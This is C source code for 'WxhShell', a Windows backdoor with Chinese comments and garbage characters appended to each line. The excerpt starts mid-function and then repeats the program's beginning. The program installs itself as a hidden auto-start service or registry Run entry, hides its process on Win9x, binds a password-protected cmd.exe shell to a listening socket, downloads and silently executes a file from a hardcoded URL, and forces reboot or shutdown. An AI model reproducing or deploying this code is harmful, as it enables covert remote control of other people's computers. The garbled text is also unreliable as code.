    else { Yi%;|]  
    closesocket(wsh); KPKt^C  
    ExitThread(0); kTOzSiq  
    } (R=:X+ k  
    break; f<d`B]$(  
    } s<<ooycBrQ  
  // 获取shell - M4J JV(  
  case 's': { dO! kk"qn  
    CmdShell(wsh); T $>&[f$6  
    closesocket(wsh); ?]_$Dcmx  
    ExitThread(0); bN1|q| 9  
    break; f@wquG'  
  } KQ!8ks]  
  // 退出 )Q&(f/LT  
  case 'x': { rr],DGg+B]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /~%&vpF-L  
    CloseIt(wsh); 6H.0vN&  
    break; wDal5GJp  
    } l[0RgO*S  
  // 离开 k8&;lgO '  
  case 'q': { 3nO]Ge"w'n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {HltvO%8  
    closesocket(wsh); $w`x vX  
    WSACleanup(); pP&7rRhw  
    exit(1); Qb-M6ihcc  
    break; ;"5&b!=t  
        } l *(8i ^  
  } @<hb6bo,N  
  } -A^_{4X  
+SR+gE\s0  
  // 提示信息 P^ ~yzI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _7Ju  
} 4yy>jXDG  
  } dd%6t  
P9^Xm6QO  
  return; }c,}V  
} 24 'J  
[.7d<oY  
// shell模块句柄 xX&+WR  
int CmdShell(SOCKET sock) %HhnSi1K  
{ [Gb. JO}X  
STARTUPINFO si; \h/H#j ZJ  
ZeroMemory(&si,sizeof(si)); ]vUwG--*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cKca;SNql1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r,73C/*&/  
PROCESS_INFORMATION ProcessInfo; RLjc&WhzXu  
char cmdline[]="cmd"; t%0VJB,Q2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yW=::=  
  return 0; y&$A+peJ1  
} NZ:,ph  
Y.(PiuG$G  
// 自身启动模式 %v M-mbX  
int StartFromService(void) 5uGq%(24  
{ GY'%+\*tj  
typedef struct @Md/Q~>  
{ yLvDMPj  
  DWORD ExitStatus; <`=j^LU  
  DWORD PebBaseAddress; D0-3eV -  
  DWORD AffinityMask; &-)N'  
  DWORD BasePriority; 0*3R=7_},o  
  ULONG UniqueProcessId; /l ~p=PK  
  ULONG InheritedFromUniqueProcessId; hD 82tr  
}   PROCESS_BASIC_INFORMATION; oWT3apGO  
n:?a$Ldgm  
PROCNTQSIP NtQueryInformationProcess; Z"xvh81P  
z\W64^'"Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,]F,Uu_H7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W aRw05r  
76{G'}B  
  HANDLE             hProcess; Jq-]7N%k/  
  PROCESS_BASIC_INFORMATION pbi; 7;(`MIFXs  
^}=,g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~Fcm[eoC  
  if(NULL == hInst ) return 0; kiaw4_  
Ty?cC**  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z2~ til  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /{ g>nzP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kS);xA8s]  
.W%)*&WH\  
  if (!NtQueryInformationProcess) return 0; b{&)6M)zo  
Dcgo%F-W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d7;um<%zn  
  if(!hProcess) return 0; Se}c[|8  
zY{A'<\O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jvL[ JI,b  
NH4#  
  CloseHandle(hProcess); IHac:=*Q  
rglXs  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~q.F<6O  
if(hProcess==NULL) return 0; p8O2Z? \  
$7ZX]%<s  
HMODULE hMod; ?);v`]  
char procName[255]; 1.GQau~  
unsigned long cbNeeded; ;A'mB6?%H  
`*R:gE=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ee! 4xg  
{%H'z$|{  
  CloseHandle(hProcess); BX7kO0j  
D/&o& G96  
if(strstr(procName,"services")) return 1; // 以服务启动 T.BW H2gRP  
zTSTEOP}%Y  
  return 0; // 注册表启动 cF}".4|kZ<  
} !*N@ZL&X  
Bnxm HGP#&  
// 主模块 F^;ez/Gl  
int StartWxhshell(LPSTR lpCmdLine) gR;i(81U  
{ r`d4e,(  
  SOCKET wsl; \~$#1D1f  
BOOL val=TRUE; [RhO$c$[\  
  int port=0; ^}o2  
  struct sockaddr_in door; ",; H`V  
~B?y{  
  if(wscfg.ws_autoins) Install(); 8cIKvHx  
Ve; n}mJ?  
port=atoi(lpCmdLine); / zPO  
@qAS*3j  
if(port<=0) port=wscfg.ws_port; *^ZV8c}  
V**~m9f  
  WSADATA data; V U3upy<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $<EM+oJ|ER  
p_%Rt"!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8(~ h"]`!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %dVZ0dl  
  door.sin_family = AF_INET; H<,gU`&R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bq*eH (qx  
  door.sin_port = htons(port); \_f(M|  
on `3&0,.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <>rneHl8  
closesocket(wsl); m;QMQeGz  
return 1; w<(pl%  
} W^l-Y %a/o  
'5$b-x6F  
  if(listen(wsl,2) == INVALID_SOCKET) { )Ql%r?(F+  
closesocket(wsl); /*mI<[xb  
return 1; /82b S|  
} /a4{?? #e  
  Wxhshell(wsl); (O3nL.  
  WSACleanup(); YIYmiv5  
UP,c|  
return 0; 83#mB:^R  
}o`76rDN  
} Rima;9.Y0  
1=V-V<  
// 以NT服务方式启动 i8]S:49  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MQ8J<A Pf-  
{ $ddCTS^  
DWORD   status = 0; $xN|5;+  
  DWORD   specificError = 0xfffffff; fNFY$:4X  
"4{r6[dn  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wf<M)Rs|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }BP;1y6-r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; KbeC"mi  
  serviceStatus.dwWin32ExitCode     = 0; Qvhl4-XjZa  
  serviceStatus.dwServiceSpecificExitCode = 0; H/M@t\$Dc  
  serviceStatus.dwCheckPoint       = 0; 3.y vvPFEM  
  serviceStatus.dwWaitHint       = 0; }qD\0+`qi  
5=ryDrx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6=Otq=WH  
  if (hServiceStatusHandle==0) return; _oeS Uzq.  
oUlVI*~ND  
status = GetLastError(); `;egv*!P  
  if (status!=NO_ERROR) 3^yK!-Wp(  
{ Nj/ x. X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jmZI7?<z  
    serviceStatus.dwCheckPoint       = 0; utV_W&  
    serviceStatus.dwWaitHint       = 0; TM%%O :3  
    serviceStatus.dwWin32ExitCode     = status; + {'.7#  
    serviceStatus.dwServiceSpecificExitCode = specificError; uwGc@xOgg,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zdam^o  
    return; Zj'9rXhrM1  
  } qIT@g"%}t  
'm$L Ij?@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )9]PMA?u  
  serviceStatus.dwCheckPoint       = 0; 1$h,m63)  
  serviceStatus.dwWaitHint       = 0; vnuN6M{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ig{0Z">  
} f3y=Wxk[  
c-sfg>0^  
// 处理NT服务事件,比如:启动、停止 5Gm_\kd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c7H^$_^=  
{ y?3; 06y|  
switch(fdwControl) K{+2G&i  
{ KMax$  
case SERVICE_CONTROL_STOP: t%8BK>AHvw  
  serviceStatus.dwWin32ExitCode = 0; G 01ON0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A,!-{/wc  
  serviceStatus.dwCheckPoint   = 0; &$H!@@09|w  
  serviceStatus.dwWaitHint     = 0; =7UsVn#o  
  { J#83 0r(-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x kD6Iw  
  } ftSW (og  
  return; .T`%tJ-Em  
case SERVICE_CONTROL_PAUSE: n `Ac 3A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; J<lW<:!3]  
  break; ;$Jo+#  
case SERVICE_CONTROL_CONTINUE: <C*hokqqP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Dw"\/p:-3  
  break; 'Pbr v  
case SERVICE_CONTROL_INTERROGATE: BnY&f  
  break; |I=T @1_D  
}; kq-) ^,{y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "<gOzXpa  
} 8{ I|$*nB  
\Oo Wo  
// 标准应用程序主函数 yf,z$CR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k}rbim  
{ }6ldjCT/,  
Vjpy~iP4B  
// 获取操作系统版本 n=q 76W\  
OsIsNt=GetOsVer(); 7xR\kL.,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G#$-1"!`  
_yT Ed"$  
  // 从命令行安装 2fS:- 8N  
  if(strpbrk(lpCmdLine,"iI")) Install(); vih9 KBT  
J[kTlHMD  
  // 下载执行文件 Dt1jW  
if(wscfg.ws_downexe) { G!yP w:X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B<C&xDRZ0  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2`-Bs  
} VxBo1\'  
2Khv>#l  
if(!OsIsNt) { =EsavN  
// 如果时win9x,隐藏进程并且设置为注册表启动 \{YU wKK/A  
HideProc(); s#GLJl\E_P  
StartWxhshell(lpCmdLine); qg$ <oL@~~  
} }-`4DHgq  
else G+m }MOQP7  
  if(StartFromService()) r mOj  
  // 以服务方式启动 'c~4+o4co  
  StartServiceCtrlDispatcher(DispatchTable); W%Fv p;\`  
else moE2G?R  
  // 普通方式启动 [N'h%1]\  
  StartWxhshell(lpCmdLine); !'O@2{?B  
Vt ohL+  
return 0; 1E$|~   
} X wtqi@zlE  
jiC>d@~y  
[-x7_=E#  
k;W XB|k  
=========================================== `H+ lPM66  
4&iCht =  
dF2RH)Ud  
2Z%O7V~u  
D43z9z-:L  
ss-D(K"  
" e:W{OIz:  
6MI8zRX  
#include <stdio.h> 8b=_Y;  
#include <string.h> eV~goj  
#include <windows.h> K<J9 ~  
#include <winsock2.h> DaVa}  
#include <winsvc.h> LIrb6g&xj_  
#include <urlmon.h> T^q 0'#/  
.G\7cZ  
#pragma comment (lib, "Ws2_32.lib") :E?V.  
#pragma comment (lib, "urlmon.lib") #A.@i+Zv  
54qFfN8O  
#define MAX_USER   100 // 最大客户端连接数 fc@A0Hf  
#define BUF_SOCK   200 // sock buffer 'B}qZCy W  
#define KEY_BUFF   255 // 输入 buffer 048kPXm`  
XX~,>Q}H=  
#define REBOOT     0   // 重启 M^I(OuRMeI  
#define SHUTDOWN   1   // 关机 hv+zGID7  
PI<vxjOK`  
#define DEF_PORT   5000 // 监听端口 [ /ZO q  
:hA#m[  
#define REG_LEN     16   // 注册表键长度 ~)'k 9?0  
#define SVC_LEN     80   // NT服务名长度 +/\6=).\  
-{A<.a3P}=  
// 从dll定义API u=yOu^={  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QSj]ZA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L%5%T;0'~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \j.:3X r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @ .KGfNu  
FPTK`Gd0  
// wxhshell配置信息 h7@6T+#WoT  
struct WSCFG { g `4<9RMun  
  int ws_port;         // 监听端口 mV m Gg,  
  char ws_passstr[REG_LEN]; // 口令 I 2DpRMy  
  int ws_autoins;       // 安装标记, 1=yes 0=no !o-@&q  
  char ws_regname[REG_LEN]; // 注册表键名 YbLW/E\T  
  char ws_svcname[REG_LEN]; // 服务名 |nF8gh~}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 L=h'Qgk%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .sA.C] f  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <\FH fE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :H[6Lg\*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  z$Qbj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0(btA~'*  
SY8C4vb'h  
}; U<-D(J  
CH/rp4NeSy  
// default Wxhshell configuration t >sE x:  
struct WSCFG wscfg={DEF_PORT, 8$|=P!7EO  
    "xuhuanlingzhe", )CyS#j#=  
    1, F&Hrk|a  
    "Wxhshell", F<w/PMb  
    "Wxhshell", RT5T1K08I  
            "WxhShell Service", MY/}-* |  
    "Wrsky Windows CmdShell Service",  LIdF 0  
    "Please Input Your Password: ", h1(4Ic  
  1, Np)lIGE  
  "http://www.wrsky.com/wxhshell.exe", J. @9zA&  
  "Wxhshell.exe" ]N[ 5q=A5  
    }; GH xp7H  
*owU)  
// 消息定义模块 |D.ND%K&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;=UsAB]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &-=5Xc+Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; u-C)v*#L  
char *msg_ws_ext="\n\rExit."; i@CxI<1'  
char *msg_ws_end="\n\rQuit."; L.WljNo  
char *msg_ws_boot="\n\rReboot..."; 39jG8zr=Z[  
char *msg_ws_poff="\n\rShutdown..."; w*MpX U<  
char *msg_ws_down="\n\rSave to "; Ca3~/KrM  
t0I{q0  
char *msg_ws_err="\n\rErr!"; =rK+eG#,  
char *msg_ws_ok="\n\rOK!"; >OK^D+v"j  
8.~kK<)!  
char ExeFile[MAX_PATH];  yOKI*.}  
int nUser = 0; {}x^ri~  
HANDLE handles[MAX_USER]; ]+$?u&0?w  
int OsIsNt; [trwBZ^D~  
bJ;'`sw1  
SERVICE_STATUS       serviceStatus; ;UP$yM;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; UY 2OZ& &  
2Hv+W-6v  
// 函数声明 Tac$LS\Q  
int Install(void); m#F`] {  
int Uninstall(void); 9)=ctoZ'  
int DownloadFile(char *sURL, SOCKET wsh); ei{eTp4HpV  
int Boot(int flag);  f V(J|  
void HideProc(void); YnP5i#"  
int GetOsVer(void); cs'{5!i]  
int Wxhshell(SOCKET wsl); wa3}SB  
void TalkWithClient(void *cs); uM'Jp?  
int CmdShell(SOCKET sock);  rXU\  
int StartFromService(void); DFTyMB1H  
int StartWxhshell(LPSTR lpCmdLine); \^%}M!tan  
)F2OT<]m,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -PQv ?5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $tS}LN_!  
9&ids!W~yx  
// 数据结构和表定义 !? gKqx'T$  
SERVICE_TABLE_ENTRY DispatchTable[] = k# rBB  
{ ` ~`k_7t.  
{wscfg.ws_svcname, NTServiceMain}, IaXeRq?<  
{NULL, NULL} fd2T=fz-  
}; O7IJ%_A&  
alvrh'51  
// 自我安装 6K<K  
int Install(void) #C3.Jef  
{ l/awS!Q/nF  
  char svExeFile[MAX_PATH]; O8.5}>gDn.  
  HKEY key; i7>tU=  
  strcpy(svExeFile,ExeFile); r0gJpttDl  
?K\axf>F  
// 如果是win9x系统,修改注册表设为自启动 mdg i5v  
if(!OsIsNt) { VU d\QR-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W#sU`T   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); # Vha7  
  RegCloseKey(key); I.k *GW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E\,-XH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1y4  
  RegCloseKey(key); ^`>/.gL  
  return 0; $p?aVO  
    } {!dVDf_  
  } !I Qck8Y  
} Y.r+wc]  
else { `$C n~dT  
8pgEix/M5o  
// 如果是NT以上系统,安装为系统服务 'X2POay1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (*)hD(C5  
if (schSCManager!=0) ox (%5c)b|  
{ &IB|rw'9  
  SC_HANDLE schService = CreateService {,~3.5u   
  ( /gkX38  
  schSCManager, igR";OQk  
  wscfg.ws_svcname, w)Qp?k d  
  wscfg.ws_svcdisp, j^2wb+`  
  SERVICE_ALL_ACCESS, /RC7"QzL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w G<yBI0  
  SERVICE_AUTO_START, 46&/gehr  
  SERVICE_ERROR_NORMAL, /d<P-!fK  
  svExeFile, ~La>?:g <+  
  NULL, EJNU761  
  NULL, fsWTF<Y  
  NULL,  'CkIz"Wd  
  NULL, H}bJ"(9$vC  
  NULL v-_e)m^  
  ); vOpK Np  
  if (schService!=0) -p XSSa;O9  
  { %Qdn  
  CloseServiceHandle(schService); kq,ucU%>p  
  CloseServiceHandle(schSCManager); 1^(ad;BC y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;x@~A^<el  
  strcat(svExeFile,wscfg.ws_svcname); <?4V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }d}Ke_Q0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [^98fAlz6  
  RegCloseKey(key); _t #k,;  
  return 0; r #cGop]  
    } _8_R 1s  
  } p sMvq@>  
  CloseServiceHandle(schSCManager); *6DB0X_-}  
} g~A`N=r;h  
} -:y,N 9^  
P! #[mio  
return 1; zuy4G9P  
} I75DUJqy]  
&AbNWtCV+G  
// 自我卸载 -0x #  
int Uninstall(void) 8&`LYdzt  
{ J,y[[CdH`  
  HKEY key; wyO4Y  
}oGA-Qc}B  
if(!OsIsNt) { y ~!Zg}o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'Xq| Kf (  
  RegDeleteValue(key,wscfg.ws_regname); o]M5b;1  
  RegCloseKey(key);  DwE[D]7o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8i#2d1O  
  RegDeleteValue(key,wscfg.ws_regname); !58@pLJw  
  RegCloseKey(key); !\.pq  2  
  return 0; jQ^|3#L\  
  } R3&Iu=g  
} wHMX=N1/  
} CD ( :jM?  
else { iN8zo:&Z  
lB vR+9Qw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uH- l%17  
if (schSCManager!=0) LR.<&m%~.  
{ Fgh_9S9J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A1>OY^p3%  
  if (schService!=0) Oso#+  
  { *@=/qkaJaI  
  if(DeleteService(schService)!=0) { ~^fZx5  
  CloseServiceHandle(schService); XXcl{1Kp!@  
  CloseServiceHandle(schSCManager); Jgd'1'FOs  
  return 0; e_ANUll1  
  } 8_B4?` k  
  CloseServiceHandle(schService); ;dZZ;#k%  
  } |AU~_{H  
  CloseServiceHandle(schSCManager); hVAn>_(  
} RF53Jyt  
} "2$fi{9  
ryUQU^v  
return 1; peuZ&yK+"  
} $OkBg0  
9oR@U W1  
// 从指定url下载文件 ^sEYOX\  
int DownloadFile(char *sURL, SOCKET wsh) PB`Y g  
{ x vl#w  
  HRESULT hr; 3z9d!I^>k  
char seps[]= "/"; &n}f?  
char *token; qCpp6~]Um  
char *file; }1i`6`y1  
char myURL[MAX_PATH]; VfC<WVYiZ  
char myFILE[MAX_PATH]; O6a<`]F  
_w+:Dv~*a  
strcpy(myURL,sURL); ?u=Fj_N_  
  token=strtok(myURL,seps); j8{i#;s!"  
  while(token!=NULL) rt~d6|6  
  { Tc &z:  
    file=token; (U_ujPD ?  
  token=strtok(NULL,seps); oiT[de\S  
  } j2.|ln"!  
{Y=WW7:Qx  
GetCurrentDirectory(MAX_PATH,myFILE); ~{B7 k:  
strcat(myFILE, "\\"); =llvuUd\n  
strcat(myFILE, file); pF:$  ko  
  send(wsh,myFILE,strlen(myFILE),0); m6&~HfwN  
send(wsh,"...",3,0); 2E/"hQw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l2rd9 -T  
  if(hr==S_OK) J0\Fhe0'  
return 0; uHvp;]/0\  
else lC("y' ::  
return 1; a85$K$b>  
xU>WEm2  
} a#y;dK  
q#ClnG*  
// 系统电源模块 %D}kD6=  
int Boot(int flag) aweV#j(y  
{ {V$|3m>:*  
  HANDLE hToken; D4-ifsP  
  TOKEN_PRIVILEGES tkp; JG!mc7  
Cc' 37~6~P  
  if(OsIsNt) { +wvWwie  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R_ ,UMt  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ug t.&IA  
    tkp.PrivilegeCount = 1; K'Tm_"[u  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ," Wr"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z/;(f L  
if(flag==REBOOT) { >WQMqQ^t@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Mxsa-?R;v  
  return 0; k,E{C{^M  
} EZy)A$|  
else { \fyRsa)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N~d?WD\^  
  return 0; ceh j;  
} "9P>a=Y  
  } \y)rt )  
  else { { MSkHf=  
if(flag==REBOOT) { |\<`Ib4j  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) THbh%)Zv+  
  return 0; !N7s dY  
} J^nBdofP  
else { 8# >op6^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F2dHH^  
  return 0; $@Rxrx_@M  
} #ASz;$P  
} U;V7 u/{  
9T}pT{~V  
return 1; 4(~L#}:r!  
} gA5/,wDO  
] =xE  
// win9x进程隐藏模块 7he,?T)vD  
void HideProc(void)  V!ZC(  
{ $L>@Ed<  
>#;.n(y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?WUA`/[z  
  if ( hKernel != NULL ) c74.< @w  
  { `d +Da=L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); YTX,cj#D^&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kg~mgMR+w  
    FreeLibrary(hKernel); L9 \1+rq  
  } FLCexlv^  
,j}6? Q  
return; 5C*Pd Wpl  
} *vN-Vb^2i)  
MS>Ge0P("~  
// 获取操作系统版本 P[#e/qnXu|  
int GetOsVer(void) TJpD{p}  
{ Xy&A~F  
  OSVERSIONINFO winfo; %~JJ.&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); el<s8:lA  
  GetVersionEx(&winfo); WZejp}x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e7r -R3_  
  return 1; 9ni1f{k  
  else C'@i/+  
  return 0; Ae^~Cz1qz  
} 3!Ij;$  
tr3! d_  
// 客户端句柄模块 ?|C2*?hZ+  
int Wxhshell(SOCKET wsl) %lx!. G  
{ eRstD>r  
  SOCKET wsh; uk]$#TV*q>  
  struct sockaddr_in client; ua Gk6S  
  DWORD myID; +I:Unp  
};bEU wGWf  
  while(nUser<MAX_USER) nQtWvT  
{ uR4z &y  
  int nSize=sizeof(client); PbgP\JeX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "f2$w  
  if(wsh==INVALID_SOCKET) return 1; }J`w4P  
Nk 8B_{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  O67W&nz  
if(handles[nUser]==0) mPK:R^RjG&  
  closesocket(wsh); o>i4CCU+  
else A5RN5`}  
  nUser++; ]G= L=D^cK  
  } W$;,CU.v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J +DDh=%  
V`d,qn)i  
  return 0; Bz-c$me1  
} S_4?K)n #  
=^f<v_L  
// 关闭 socket FZ<gpIv!NS  
void CloseIt(SOCKET wsh) n;C :0  
{ KHu+9eX  
closesocket(wsh); f#"J]p  
nUser--; { Fb*&|-n  
ExitThread(0); n)e 6>R ;  
} vHc%z$-d  
fLD, 5SN  
// 客户端请求句柄 D~iz+{Q4  
void TalkWithClient(void *cs) Uh4%}-;  
{ !bx;Ta.  
e8!5 I,I  
  SOCKET wsh=(SOCKET)cs; 8oseYH  
  char pwd[SVC_LEN]; xY8$I6  
  char cmd[KEY_BUFF]; Jbg/0|1  
char chr[1]; J26 VnK  
int i,j; A_ZY=jP   
 6f>{"'  
  while (nUser < MAX_USER) { 9Cp-qA%t  
;_I8^?d  
if(wscfg.ws_passstr) { S-b/S5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EIAc@$4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TR`U-= jH,  
  //ZeroMemory(pwd,KEY_BUFF); 8)3*6+D  
      i=0; (9 GWbB?  
  while(i<SVC_LEN) { tBWrL{xLe  
rmm0/+jY  
  // 设置超时 NiK4d{E&  
  fd_set FdRead; E\EsWb  
  struct timeval TimeOut; glxsa8  
  FD_ZERO(&FdRead); ~2N"#b&J  
  FD_SET(wsh,&FdRead); _pG-qK  
  TimeOut.tv_sec=8; qLG&WB  
  TimeOut.tv_usec=0; RFcv^Xf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )}(^, Fo c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |O+H[;TB6  
) 7@ `ut  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F4z{LhZ  
  pwd=chr[0]; \fd v]f  
  if(chr[0]==0xd || chr[0]==0xa) { EwT"uL*V;  
  pwd=0; eA?RK.e  
  break; fu ,}1Mq#  
  } qkY:3Ozw  
  i++; :#ik. D  
    } nEy&>z  
,HV(l+k {|  
  // 如果是非法用户,关闭 socket 5`  ~JPt  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); IdYt\^@>  
} RJ&RTo  
xn(kKB.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); At>DjKx]O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vWv"  
T2W eE@o  
while(1) { g2ixx+`?|:  
Y('#jU  
  ZeroMemory(cmd,KEY_BUFF); hH 3RP{'=  
h"Q8b}$^)  
      // 自动支持客户端 telnet标准   !hy-L_wL]  
  j=0; {duz\k2  
  while(j<KEY_BUFF) { ,PW'#U:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WDD%Q8ejV&  
  cmd[j]=chr[0]; O+]ZyHnB  
  if(chr[0]==0xa || chr[0]==0xd) { 783,s_  
  cmd[j]=0; v$v-2y'%  
  break; C2I_%nU Z1  
  } eJ-xsH*8  
  j++; ]:-mbgW  
    } & h)yro  
"Gzz4D  
  // 下载文件 +GN(Ug'R  
  if(strstr(cmd,"http://")) { tSUEZ62EY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;`{H!w[D  
  if(DownloadFile(cmd,wsh)) exUFS5d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |aS.a&vwR  
  else @*XV`_!h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  4e7-0}0  
  } \?-<4Bc@  
  else { d&Zpkbh"  
yx[/|nZDC4  
    switch(cmd[0]) {  7xlkZF  
  Mb}QD~=M  
  // 帮助 8kIksy  
  case '?': { 1R%.p7@5QU  
